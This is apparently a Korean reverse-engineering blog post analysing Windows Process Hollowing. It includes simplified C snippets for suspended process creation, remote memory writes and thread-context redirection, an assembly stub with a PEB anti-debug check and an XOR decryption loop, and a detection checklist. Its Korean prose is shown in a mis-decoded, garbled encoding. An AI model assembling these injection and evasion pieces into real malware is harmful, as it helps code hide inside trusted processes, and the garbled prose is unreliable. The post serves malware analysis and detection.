๐Ÿ“˜ Process Hollowing ๊ธฐ๋ฐ˜ ํ”„๋กœ์„ธ์Šค ์ธ์ ์…˜

Windows Process Hollowing์˜ ๋‚ด๋ถ€ ์ œ์–ด ํ๋ฆ„ ๋ฐ ์Šคํƒ/๋ ˆ์ง€์Šคํ„ฐ ๋ณ€ํ™” ๋ถ„์„

์•…์„ฑ์ฝ”๋“œ์—์„œ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์‚ฌ์šฉ๋˜๋Š” Process Hollowing์˜ ๋‚ด๋ถ€ ๋™์ž‘์„ ๋ฆฌ๋ฒ„์‹ฑ ๊ด€์ ์—์„œ ๋‹จ๊ณ„๋ณ„๋กœ ๋ถ„์„ํ•จ.

๋ฆฌ๋ฒ„์‹ฑ ๊ธฐ๋ก


1. Process Hollowing ๊ฐœ์š”

Process Hollowing์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ณ ์ „์  ์ธ์ ์…˜ ์ ˆ์ฐจ๋ฅผ ๋”ฐ๋ฆ„:

  1. ์ •์ƒ ํ”„๋กœ์„ธ์Šค๋ฅผ Suspended ์ƒํƒœ๋กœ ์ƒ์„ฑ
  2. ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค์˜ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ(Unmap Section) ๋น„์šฐ๊ธฐ
  3. ์•…์„ฑ ํŽ˜์ด๋กœ๋“œ์˜ PE ํ—ค๋” ๋ฐ ์„น์…˜์„ ์ƒˆ ์ฃผ์†Œ ๊ณต๊ฐ„์— ์ˆ˜๋™ ๋งคํ•‘
  4. ํ”„๋กœ์„ธ์Šค ์Šค๋ ˆ๋“œ ์ปจํ…์ŠคํŠธ(EIP/RIP) ๋ฅผ ์ƒˆ๋กœ์šด Entry Point๋กœ ๋ณ€๊ฒฝ
  5. ์Šค๋ ˆ๋“œ ์žฌ๊ฐœ

์ด ๋ฐฉ์‹์˜ ์žฅ์ :

  • ์™ธ๋ถ€์—์„œ ๋ณด๋ฉด ์ •์ƒ ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„์„ ์œ ์ง€
  • IAT ํ›„ํ‚นยทDLL Injection๋ณด๋‹ค ํƒ์ง€ ์ง€์ ์ด ์ ์Œ
  • ์ด๋ฏธ์ง€ ๊ฒฝ๋กœ/๋ช…๋ น์ค„/์„œ๋ช… ๋ชจ๋‘ ์ •์ƒ์œผ๋กœ ๋ณด์ž„

2. Suspended ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ (C)

// ๋น„์‹คํ–‰ ๊ฐœ๋… ์ฝ”๋“œ โ€” Suspended Process ์ƒ์„ฑ
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};

CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &pi
);

๋ถ„์„ ํฌ์ธํŠธ:

  • CREATE_SUSPENDED ํ”Œ๋ž˜๊ทธ๋กœ ์ƒˆ ์Šค๋ ˆ๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์— ์ปจํ…์ŠคํŠธ๋ฅผ ์ถ”์ถœ ๊ฐ€๋Šฅ
  • pi.hThread โ†’ CONTEXT ๊ตฌ์กฐ ํ™•์ธ
  • ์•…์„ฑ์ฝ”๋“œ๋Š” ์ดํ›„ GetThreadContext๋กœ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’์„ ์ฝ์–ด ์ง„์ž…์  ์กฐ์ž‘์— ์‚ฌ์šฉ

3. ์›๋ณธ ์ด๋ฏธ์ง€ ์ œ๊ฑฐ(Unmap) Assembly ์˜ˆ์‹œ

์‹ค์ œ ์ƒ˜ํ”Œ์€ NtUnmapViewOfSection์„ ๋™์  API ํš๋“์œผ๋กœ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Œ.

; ํ˜ธ์ถœ ์ „: EAX โ†’ ํ•จ์ˆ˜ ์ฃผ์†Œ, ECX/EDX โ†’ ํŒŒ๋ผ๋ฏธํ„ฐ
; ์˜ˆ์‹œ
push    processHandle
push    baseAddress
call    eax                     ; eax = NtUnmapViewOfSection

; ๋ฐ˜ํ™˜๊ฐ’ ํ™•์ธ
test    eax, eax
jnz     UNMAP_FAILED

๋ ˆ์ง€์Šคํ„ฐ ํ๋ฆ„ ๊ด€์ฐฐ ํฌ์ธํŠธ:

  • call eax ํŒจํ„ด์€ ๋™์  API ํ•ด์„ ๋ฃจํ‹ด์ด ์„ฑ๊ณต์ ์œผ๋กœ ์ฃผ์†Œ๋ฅผ ์ฐพ์€ ๋’ค ์‚ฌ์šฉ
  • baseAddress๋Š” PEB์˜ ImageBaseAddress ๋˜๋Š” ์ปจํ…์ŠคํŠธ Ebx/ Rdx ๋“ฑ์—์„œ ํš๋“

4. ์•…์„ฑ ์ด๋ฏธ์ง€ ๋งคํ•‘ โ€” ์ˆ˜๋™ PE ๋กœ๋”ฉ(C)

์•„๋ž˜ ์ฝ”๋“œ๋Š” ๊ตฌ์กฐ ์„ค๋ช…์„ ์œ„ํ•ด ๋‹จ์ˆœํ™”ํ•œ ์˜ˆ์‹œ.

// ๊ฐœ๋…์  ๋งคํ•‘ ๊ตฌ์กฐ
LPVOID remoteBase = VirtualAllocEx(
    pi.hProcess,
    (LPVOID)payloadImageBase,
    payloadSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

// PE Header ๋ณต์‚ฌ
WriteProcessMemory(
    pi.hProcess,
    remoteBase,
    payloadBuffer,
    payloadHeadersSize,
    NULL
);

// Section ๋ฃจํ”„ ๋ณต์‚ฌ
for (int i=0; i<sectionCount; i++) {
    WriteProcessMemory(
        pi.hProcess,
        (LPVOID)((SIZE_T)remoteBase + section[i].VirtualAddress),
        payloadBuffer + section[i].PointerToRawData,
        section[i].SizeOfRawData,
        NULL
    );
}

๋ถ„์„ ๊ด€์ :

  • ์ธ์ ์…˜ ํŽ˜์ด๋กœ๋“œ๊ฐ€ โ€œfile-backed imageโ€๊ฐ€ ์•„๋‹Œ โ€œmemory-backed imageโ€์ด๋ฏ€๋กœ
    ๋ชจ๋“ˆ ๋ฆฌ์ŠคํŠธ์— ํ‘œ์‹œ๋˜์ง€ ์•Š์•„ ํƒ์ง€๊ฐ€ ์–ด๋ ค์›€
  • PE ๊ตฌ์กฐ ํŒŒ์‹ฑ(์ด๋ฏธ์ง€๋ฒ ์ด์Šค, ์„น์…˜ RVA, ์ •๋ ฌ ๊ฐ’)์ด ์ •ํ™•ํžˆ ์ผ์น˜ํ•ด์•ผ ์ •์ƒ ์ž‘๋™

5. ์ง„์ž…์ (EIP/RIP) ์žฌ์„ค์ • โ€” CONTEXT ๋ณ€์กฐ

// ๋น„์‹คํ–‰ ์˜ˆ์‹œ โ€” Entry Point ๋ณ€๊ฒฝ
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(pi.hThread, &ctx);

// x86
ctx.Eip = (DWORD)((SIZE_T)remoteBase + payloadEntryRVA);

// x64
// ctx.Rip = ...

SetThreadContext(pi.hThread, &ctx);

๋ ˆ์ง€์Šคํ„ฐ ๋ณ€ํ™” ๊ด€์ฐฐ:

  • GetThreadContext ํ›„ EIP/RIP ๊ฐ’์€ ์›๋ž˜ notepad.exe์˜ Entry Point
  • ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์ด ๊ฐ’์„ ์ƒˆ๋กœ์šด PE Entry Address๋กœ ๋ณ€๊ฒฝ
  • ์ดํ›„ ResumeThread๋กœ ์‹คํ–‰๋˜๋Š” ์Šค๋ ˆ๋“œ๋Š” ์™„์ „ํžˆ ๋‹ค๋ฅธ ์ฝ”๋“œ ํ๋ฆ„ ์ˆ˜ํ–‰

6. Shellcode Pre-Staging ํŒจํ„ด(Assembly)

์ผ๋ถ€ ์•…์„ฑ์ฝ”๋“œ๋Š” ์‹ ๋ขฐ๋„ ํ–ฅ์ƒ์„ ์œ„ํ•ด Entry Point์— Shellcode Stub์„ ๋‘๊ณ 
๊ทธ Stub ์•ˆ์—์„œ ์ถ”๊ฐ€ ํ™˜๊ฒฝ ์ฒดํฌ ๋ฐ Anti-Debug ์ˆ˜ํ–‰ ํ›„ ๋ฉ”์ธ ํŽ˜์ด๋กœ๋“œ๋กœ ์ ํ”„ํ•จ.

; ๋น„์‹คํ–‰ ์˜ˆ์‹œ โ€” Shellcode Stub
SHELL_STUB:
    pushad
    pushfd

    mov     eax, fs:[0x30]          ; PEB
    mov     al, [eax+0x02]          ; BeingDebugged
    test    al, al
    jnz     DEBUG_PATH

    ; ๊ฐ„๋‹จํ•œ XOR ๋ณตํ˜ธํ™” ๋ฃจํ‹ด
    mov     esi, [encryptedPayload]
    mov     ecx, payloadSize
XOR_LOOP:
    xor     byte ptr [esi], 0x5A
    inc     esi
    loop    XOR_LOOP

    popfd
    popad
    jmp     DECRYPTED_ENTRY

์š”์ :

  • Shellcode๋Š” ๋งค์šฐ ์ž‘์€ ๊ณต๊ฐ„์—์„œ ํ™˜๊ฒฝ ์ฒดํฌ + ๋ณตํ˜ธํ™” + ์ ํ”„๊นŒ์ง€ ์ฒ˜๋ฆฌ
  • PEB BeingDebugged ํ”Œ๋ž˜๊ทธ ํ™•์ธ โ†’ ์•…์„ฑ์ฝ”๋“œ์˜ ๊ณ ์ „์  anti-debug ๋ฃจํ‹ด
  • XOR decrypt ๋ฃจํ”„๋Š” ์Šคํƒ/๋ ˆ์ง€์Šคํ„ฐ ์กฐ์ž‘ ์—†์ด ๊ฐ„๋‹จํ•˜๊ฒŒ ๊ตฌํ˜„๋˜๋Š” ํŒจํ„ด

7. โ€œHollowing Signatureโ€ ํƒ์ง€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

์‹ค์ œ Process Hollowing์„ ํŒ๋ณ„ํ•˜๋Š” ์ฃผ์š” ์ง€ํ‘œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Œ.

๊ตฌ๋ถ„ํƒ์ง€ ์ง€ํ‘œ
ํ”„๋กœ์„ธ์Šค ๊ตฌ์กฐSuspended ์ƒํƒœ์—์„œ ์‹œ์ž‘๋จ
๋ฉ”๋ชจ๋ฆฌ ๋งคํ•‘ImageBaseAddress๊ฐ€ ์›๋ณธ๊ณผ ๋ถˆ์ผ์น˜
์„น์…˜ ๊ฒ€์‚ฌPE ์„น์…˜์ด ํŒŒ์ผ๊ณผ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๋‹ค๋ฅด๊ฒŒ ๋‚˜ํƒ€๋‚จ
์“ฐ๊ธฐ ํŒจํ„ดํฐ ์—ฐ์† WriteProcessMemory ํ˜ธ์ถœ ํ”์ 
์Šค๋ ˆ๋“œ ์ปจํ…์ŠคํŠธEntry Point ๋ ˆ์ง€์Šคํ„ฐ(EIP/RIP)๊ฐ€ ์ •์ƒ ์ด๋ฏธ์ง€ ๋ฒ”์œ„ ์™ธ๋ถ€
๋ชจ๋“ˆ ๋ฆฌ์ŠคํŠธ๋กœ๋“œ๋œ ์ด๋ฏธ์ง€๊ฐ€ ์ •์ƒ EXE์ง€๋งŒ ๋‚ด๋ถ€ ์ฝ”๋“œ๋Š” ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ

8. ์ œ์–ด ํ๋ฆ„ ์š”์•ฝ (์ „์ฒด ํ”Œ๋กœ์šฐ)

  1. CreateProcessA(..., CREATE_SUSPENDED)
  2. GetThreadContext โ†’ EIP/RIP ์ถ”์ถœ
  3. NtUnmapViewOfSection๋กœ ์›๋ณธ ์ด๋ฏธ์ง€ ์ œ๊ฑฐ
  4. VirtualAllocEx๋กœ ์ƒˆ๋กœ์šด ImageBase ํ™•๋ณด
  5. ํ—ค๋” ๋ฐ ์„น์…˜ ์ˆ˜๋™ ๋งคํ•‘ (PE ๊ตฌ์กฐ ๊ธฐ๋ฐ˜)
  6. EntryPoint๋ฅผ ์ƒˆ ์ฃผ์†Œ๋กœ SetThreadContext
  7. ResumeThread๋กœ ์‹คํ–‰ ํ๋ฆ„ ์ „ํ™˜
  8. Shellcode Stub โ†’ Anti-debug โ†’ ๋ณตํ˜ธํ™” โ†’ ๋ฉ”์ธ ์‹คํ–‰

๋ชจ๋“  ๋‹จ๊ณ„๋ฅผ ํ†ตํ•ด ์ •์ƒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์™„์ „ํžˆ ๋‹ค๋ฅธ ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ โ€œ์†์ด ๋น„์›Œ์ง€๊ณ  ๊ต์ฒดโ€๋จ.


โœจ ๋งˆ๋ฌด๋ฆฌ ํ•œ ์ค„

Process Hollowing์€ โ€œํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ  ๋จผ์ € ๋นŒ๋ ค์˜จ ๋’ค ๋‚ด๋ถ€๋ฅผ ์™„์ „ํžˆ ๊ต์ฒดํ•˜๋Š” ๋ฐฉ์‹โ€์ด๋ฉฐ,
์ด ๋ฏธ์„ธํ•œ ๊ต์ฒด ๊ณผ์ • ์† ๋ ˆ์ง€์Šคํ„ฐ/๋ฉ”๋ชจ๋ฆฌ์˜ ์ž‘์€ ๋ณ€ํ™”๋ฅผ ์ฝ์–ด๋‚ด๋Š” ๋Šฅ๋ ฅ์ด ํ•ต์‹ฌ ์—ญ๋Ÿ‰์œผ๋กœ ์ด์–ด์ง„๋‹ค.


๐Ÿ“ Written by Code & Compass

MalClown์—์„œ ๋” ์•Œ์•„๋ณด๊ธฐ

์ง€๊ธˆ ๊ตฌ๋…ํ•˜์—ฌ ๊ณ„์† ์ฝ๊ณ  ์ „์ฒด ์•„์นด์ด๋ธŒ์— ์•ก์„ธ์Šคํ•˜์„ธ์š”.

๊ณ„์† ์ฝ๊ธฐ